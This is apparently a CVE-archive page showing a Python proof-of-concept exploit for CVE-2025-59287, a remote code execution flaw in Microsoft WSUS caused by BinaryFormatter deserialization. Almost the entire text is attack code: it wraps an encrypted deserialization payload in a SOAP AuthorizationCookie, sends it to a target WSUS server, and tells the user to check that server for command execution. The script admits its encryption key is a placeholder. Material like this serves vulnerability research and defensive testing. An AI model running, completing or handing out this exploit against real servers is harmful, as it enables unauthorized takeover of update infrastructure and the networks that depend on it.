4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / wsus_exploit.py PY
#!/usr/bin/env python3
"""
CVE-2025-59287 Proof-of-Concept Exploit
WSUS BinaryFormatter Deserialization RCE Vulnerability

WARNING: This exploit is for authorized security testing only.
Unauthorized use is illegal and unethical.
"""

import requests
import base64
import sys
import argparse
from urllib3.exceptions import InsecureRequestWarning

# Suppress SSL warnings for testing
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class WSUSExploit:
    def __init__(self, target_url, port=8530):
        """
        Initialize the WSUS exploit
        
        Args:
            target_url: Target WSUS server URL (e.g., '192.168.1.100')
            port: WSUS port (default 8530 for HTTP, 8531 for HTTPS)
        """
        self.target_url = target_url
        self.port = port
        protocol = "https" if port == 8531 else "http"
        self.base_url = f"{protocol}://{target_url}:{port}"
        self.soap_endpoint = f"{self.base_url}/ClientWebService/ClientWebService.asmx"
        
    def load_payload_from_file(self, payload_file):
        """Load BinaryFormatter payload from file"""
        try:
            with open(payload_file, 'rb') as f:
                return f.read()
        except FileNotFoundError:
            print(f"[!] Error: Payload file '{payload_file}' not found")
            sys.exit(1)
        except Exception as e:
            print(f"[!] Error reading payload file: {e}")
            sys.exit(1)
    
    def encrypt_payload(self, payload_data):
        """
        Encrypt the payload using WSUS EncryptionHelper encryption
        
        WSUS uses a custom encryption mechanism for AuthorizationCookie.
        This function simulates that encryption process.
        
        NOTE: The actual encryption key needs to be extracted from WSUS binaries.
        This is a placeholder implementation.
        """
        import hashlib
        from Crypto.Cipher import AES
        from Crypto.Util.Padding import pad
        import os
        
        # WSUS encryption key derivation (this may need adjustment based on actual implementation)
        # Common pattern: derive from hardcoded string or machine-specific data
        # TODO: Extract actual key from WSUS binaries (Microsoft.UpdateServices.WebServices.dll)
        key_source = b"WSUSAuthorizationCookieKey"  # PLACEHOLDER - must be extracted
        key = hashlib.sha256(key_source).digest()[:16]
        
        iv = os.urandom(16)
        cipher = AES.new(key, AES.MODE_CBC, iv)
        
        # Encrypt the BinaryFormatter payload
        encrypted = cipher.encrypt(pad(payload_data, AES.block_size))
        
        # WSUS likely base64 encodes the encrypted data
        encrypted_b64 = base64.b64encode(iv + encrypted).decode('utf-8')
        
        print(f"[*] Encrypted payload (length: {len(encrypted_b64)} bytes)")
        return encrypted_b64
    
    def create_soap_request(self, encrypted_cookie):
        """
        Create SOAP request to GetCookie() endpoint with malicious AuthorizationCookie
        """
        soap_body = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" 
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
               xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    <soap:Header>
        <AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
            {encrypted_cookie}
        </AuthorizationCookie>
    </soap:Header>
    <soap:Body>
        <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
            <cookieType>AuthorizationCookie</cookieType>
        </GetCookie>
    </soap:Body>
</soap:Envelope>"""
        
        return soap_body
    
    def exploit(self, payload_file=None, encrypted_cookie=None):
        """
        Execute the exploit
        
        Args:
            payload_file: Path to BinaryFormatter payload file (generated by ysoserial.net or BinaryFormatterPayloadGenerator)
            encrypted_cookie: Pre-encrypted cookie (optional, if payload_file not provided)
        """
        print("=" * 60)
        print("[*] CVE-2025-59287 WSUS RCE Exploit")
        print("=" * 60)
        print(f"[*] Target: {self.target_url}:{self.port}")
        print(f"[*] Endpoint: {self.soap_endpoint}")
        print()
        
        try:
            # Step 1: Load or use provided payload
            if encrypted_cookie:
                print("[*] Using provided encrypted cookie")
                encrypted = encrypted_cookie
            elif payload_file:
                print(f"[*] Step 1: Loading BinaryFormatter payload from '{payload_file}'...")
                payload = self.load_payload_from_file(payload_file)
                print(f"[+] Loaded payload ({len(payload)} bytes)")
                
                # Step 2: Encrypt the payload
                print("[*] Step 2: Encrypting payload using WSUS encryption...")
                print("[!] WARNING: Using placeholder encryption key!")
                print("[!] You must extract the actual key from WSUS binaries for real exploitation.")
                encrypted = self.encrypt_payload(payload)
            else:
                print("[!] Error: Either payload_file or encrypted_cookie must be provided")
                return
            
            # Step 3: Create SOAP request
            print("[*] Step 3: Creating SOAP request...")
            soap_request = self.create_soap_request(encrypted)
            
            # Step 4: Send exploit
            print("[*] Step 4: Sending exploit to WSUS server...")
            print()
            
            headers = {
                'Content-Type': 'text/xml; charset=utf-8',
                'SOAPAction': 'http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie',
                'User-Agent': 'WSUS Client',
                'Host': f'{self.target_url}:{self.port}'
            }
            
            response = requests.post(
                self.soap_endpoint,
                data=soap_request,
                headers=headers,
                verify=False,
                timeout=10
            )
            
            print("=" * 60)
            print(f"[*] Response Status: {response.status_code}")
            print(f"[*] Response Length: {len(response.content)} bytes")
            print("=" * 60)
            
            if response.status_code == 200:
                print("[!] Request accepted - deserialization may have occurred")
                print("[!] Check target system for command execution")
                if len(response.text) > 0:
                    print("\n[*] Response preview:")
                    print(response.text[:500])
            elif response.status_code == 500:
                print("[!] Server returned 500 - might indicate deserialization error or success")
                print("[!] Check target system anyway")
            else:
                print(f"[*] Server returned status {response.status_code}")
                if len(response.text) > 0:
                    print(f"\n[*] Response: {response.text[:500]}")
                
        except requests.exceptions.ConnectionError:
            print(f"[!] Error: Could not connect to {self.soap_endpoint}")
            print("[!] Make sure WSUS is running and accessible")
            print("[!] Check firewall rules and network connectivity")
        except requests.exceptions.Timeout:
            print(f"[!] Error: Request to {self.soap_endpoint} timed out")
        except ImportError as e:
            print(f"[!] Error: Missing required library - {e}")
            print("[!] Install dependencies: pip install -r requirements.txt")
        except Exception as e:
            print(f"[!] Error: {str(e)}")
            import traceback
            traceback.print_exc()


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2025-59287 WSUS RCE Exploit PoC',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Using BinaryFormatter payload file
  python wsus_exploit.py -t 192.168.1.100 -f payload.bin
  
  # Using pre-encrypted cookie
  python wsus_exploit.py -t wsus.example.com -p 8531 -e "BASE64_ENCRYPTED_COOKIE"
  
  # With HTTPS
  python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin

WARNING: Only use this on systems you own or have explicit permission to test.
        """
    )
    
    parser.add_argument('-t', '--target', required=True,
                       help='Target WSUS server IP or hostname')
    parser.add_argument('-p', '--port', type=int, default=8530,
                       help='WSUS port (default: 8530 for HTTP, 8531 for HTTPS)')
    parser.add_argument('-f', '--file', dest='payload_file',
                       help='Path to BinaryFormatter payload file')
    parser.add_argument('-e', '--encrypted', dest='encrypted_cookie',
                       help='Pre-encrypted cookie (base64)')
    
    args = parser.parse_args()
    
    if not args.payload_file and not args.encrypted_cookie:
        parser.error("Either --file or --encrypted must be provided")
    
    exploit = WSUSExploit(args.target, args.port)
    exploit.exploit(payload_file=args.payload_file, encrypted_cookie=args.encrypted_cookie)


if __name__ == "__main__":
    main()